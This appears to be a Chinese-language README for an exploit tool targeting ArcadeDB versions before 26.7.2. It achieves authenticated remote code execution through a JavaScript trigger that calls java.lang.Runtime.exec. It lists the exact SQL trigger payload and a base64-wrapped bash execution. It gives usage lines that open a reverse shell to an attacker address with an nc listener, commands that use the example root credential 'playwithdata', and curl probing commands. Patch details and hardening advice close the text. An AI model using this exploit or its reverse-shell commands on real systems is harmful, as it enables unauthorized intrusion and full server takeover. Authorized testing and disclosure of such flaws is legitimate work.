通过一个可触达宿主类的 JAVASCRIPT 触发器,在 ArcadeDB (一款 Java 多模型数据库)中实现认证后的远程代码执行。
触发器的 GraalVM 多语言引擎在构建时带有宿主类白名单,其中包含
java.lang.*(ScriptTriggerExecutor.setAllowedPackages),因此触发器脚本可以调用:
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);
allowCreateProcess(false) 不能阻止它 —— Runtime.exec 是一种宿主方法调用,
由 HostAccess.ALL 允许,而不是 GraalVM 的客户进程 API。创建触发器只需要
UPDATE_SCHEMA 权限(比限制直接脚本执行的 UPDATE_SECURITY 更弱),因此
root 就可以做到 —— 通过 HTTP API 实现认证后 RCE。
< 26.7.2(0 – 26.7.1)26.7.2(从触发器白名单中移除 java.lang.*,并添加一个显式的
HostClassLookupFilter,其中包含进程/反射/类加载器拒绝列表)2480(HTTP API 和 Studio;基本认证)直接的
language:js命令路径不是攻击向量 —— 它没有允许的包 (Java.type被阻止),并且受UPDATE_SECURITY保护。只有触发器执行器 硬编码了java.lang.*。
仅需 Python 3 标准库 —— 无其他依赖。需要具有 UPDATE_SCHEMA 权限的有效 ArcadeDB 凭据
(例如 root)。ArcadeDB 没有硬编码的默认密码,但其自带的 docker-compose.yml 包含了
示例 root:playwithdata,这是一种常见的遗留未改凭据。
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'
# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
三个已认证的 POST /api/v1/command/<db> 请求(language:sql):
CREATE DOCUMENT TYPE PwnCREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'INSERT INTO Pwn SET x = 1 — BEFORE CREATE 触发器触发,JavaScript 执行。操作系统命令经过 base64 包装,因此 JavaScript/SQL/JSON 各层无需嵌套引号转义,
并且脚本省略了 waitFor(),因此 exec 会立即返回(子进程继续运行,
请求不会阻塞)。
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases # lists databases
升级到 ArcadeDB ≥ 26.7.2,设置强 rootPassword(绝不要用 playwithdata),不要以 root 身份运行
ArcadeDB,限制 UPDATE_SCHEMA 权限,并让 HTTP API/Studio 远离不受信任的网络。
仅用于授权的安全测试和教育目的。只针对你拥有或已获得明确测试许可 的系统使用。